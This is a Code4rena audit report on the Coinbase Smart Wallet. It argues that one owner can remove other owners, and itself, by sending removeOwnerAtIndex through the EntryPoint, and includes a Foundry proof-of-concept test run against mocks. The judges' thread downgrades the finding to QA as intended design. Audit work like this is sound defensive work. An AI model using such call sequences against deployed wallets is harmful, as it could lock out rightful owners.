An owner can remove other owners and itself through EntryPoint contract

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/CoinbaseSmartWallet.sol#L180-L187 https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/CoinbaseSmartWallet.sol#L252-L262 https://github.com/code-423n4/2024-03-coinbase/blob/main/src/SmartWallet/MultiOwnable.sol#L102-L110

Vulnerability details

Impact

The removeOwnerAtIndex() in MultiOwnable contract removes an owner from the given index of the MUTLI_OWNABLE_STORAGE_LOCATION storage slot in the Contract. This function has an access control in the modifier onlyOwner to ensure that the caller is a registered owner or the contract itself.

However, through the executeWithoutChainIdValidation() in CoinbaseSmartWallet contract, an owner can remove other owners from the contract.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import {Test, console2, stdError} from "forge-std/Test.sol";
import {IEntryPoint} from "account-abstraction/interfaces/IEntryPoint.sol";
import "../mocks/MockMultiOwnable.sol";
import "../../../src/SmartWallet/CoinbaseSmartWallet.sol";
import {MockCoinbaseSmartWallet} from "../mocks/MockCoinbaseSmartWallet.sol";
import {Static} from "./Static.sol";

contract RemoveTest is Test {
    CoinbaseSmartWallet public account = new MockCoinbaseSmartWallet();
    MockMultiOwnable mock = new MockMultiOwnable();
    uint256 signerPrivateKey = 0xa11ce;
    address owner1Address = vm.addr(signerPrivateKey);
    bytes owner1Bytes = abi.encode(owner1Address);
    // public key x,y
    bytes owner2Bytes = abi.encode(
        0x65a2fa44daad46eab0278703edb6c4dcf5e30b8a9aec09fdc71a56f52aa392e4,
        0x4a7a9e4604aa36898209997288e902ac544a555e4b5e0a9efef2b59233f3f437
    );
    bytes[] owners;
    IEntryPoint entryPoint = IEntryPoint(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789);
    address bundler = address(uint160(uint256(keccak256(abi.encodePacked("bundler")))));

    // userOp values
    uint256 userOpNonce;
    bytes userOpCalldata;

    function setUp() public virtual {
        owners.push(owner1Bytes);
        owners.push(owner2Bytes);
        vm.etch(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789, Static.ENTRY_POINT_BYTES);
        account.initialize(owners);
        userOpNonce = account.REPLAYABLE_NONCE_KEY() << 64;
        userOpCalldata = abi.encodeWithSelector(CoinbaseSmartWallet.executeWithoutChainIdValidation.selector);
    }

    function testRemovesOwnerThroughEndPoint() public {
        //owner1 removes owner2 through entryPoint
        userOpCalldata = abi.encodeWithSelector(
            CoinbaseSmartWallet.executeWithoutChainIdValidation.selector,
            abi.encodeWithSelector(MultiOwnable.removeOwnerAtIndex.selector, 1)
        );
        _sendUserOperation(_getUserOpWithSignature());
        assertFalse(account.isOwnerBytes(owner2Bytes));

        //owner1 removes itself through entryPoint
        userOpNonce++;
        userOpCalldata = abi.encodeWithSelector(
            CoinbaseSmartWallet.executeWithoutChainIdValidation.selector,
            abi.encodeWithSelector(MultiOwnable.removeOwnerAtIndex.selector, 0)
        );
        _sendUserOperation(_getUserOpWithSignature());
        assertFalse(account.isOwnerBytes(owner1Bytes));

    }

    function _sendUserOperation(UserOperation memory userOp) internal {
        UserOperation[] memory ops = new UserOperation[](1);
        ops[0] = userOp;
        entryPoint.handleOps(ops, payable(bundler));
    }

    function _getUserOp() internal view returns (UserOperation memory userOp) {
        userOp = UserOperation({
            sender: address(account),
            nonce: userOpNonce,
            initCode: "",
            callData: userOpCalldata,
            callGasLimit: uint256(1_000_000),
            verificationGasLimit: uint256(1_000_000),
            preVerificationGas: uint256(0),
            maxFeePerGas: uint256(0),
            maxPriorityFeePerGas: uint256(0),
            paymasterAndData: "",
            signature: ""
        });
    }

    function _getUserOpWithSignature() internal view returns (UserOperation memory userOp) {
        userOp = _getUserOp();
        userOp.signature = _sign(userOp);
    }

    function _sign(UserOperation memory userOp) internal view returns (bytes memory signature) {
        bytes32 toSign = account.getUserOpHashWithoutChainId(userOp);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, toSign);
        signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, abi.encodePacked(r, s, v)));
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Add a require check to ensure the owner at the index is the signer of the signature.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #18

[raymondfam]

See #18.

[c4-pre-sort]

raymondfam marked the issue as duplicate of #22

[c4-pre-sort]

raymondfam marked the issue as duplicate of #181

[c4-judge]

3docSec marked the issue as satisfactory

[c4-judge]

3docSec marked the issue as not a duplicate

[c4-judge]

3docSec marked the issue as duplicate of #114

[McCoady]

The issue raised in this report differs from the one in reports #114 and #88.

This report highlights that an owner is able to remove other owners (and themselves) via use of the EntryPoint contract on one chain.

The report makes no mention of following key parts of the issue:

• The signatures can be replayed (by anyone) on other chains.
• The owner at a particular index on chain X is not guaranteed to be the same owner on chain Y.
• There's no guarantee there are any owners left on a given chain after removeOwnerAtIndex.

I believe this report is highlighting an intentional design choice of the protocol (that owners have 1/1 power to execute transactions, including the addition/removal of other owners).

[3docSec]

Yes @McCoady you are right, this one should dupe #18 because it does not elaborate on the key aspects of #114 .

[c4-judge]

3docSec marked the issue as not a duplicate

[c4-judge]

3docSec marked the issue as duplicate of #18

[c4-judge]

3docSec changed the severity to QA (Quality Assurance)

[c4-judge]

3docSec marked the issue as grade-b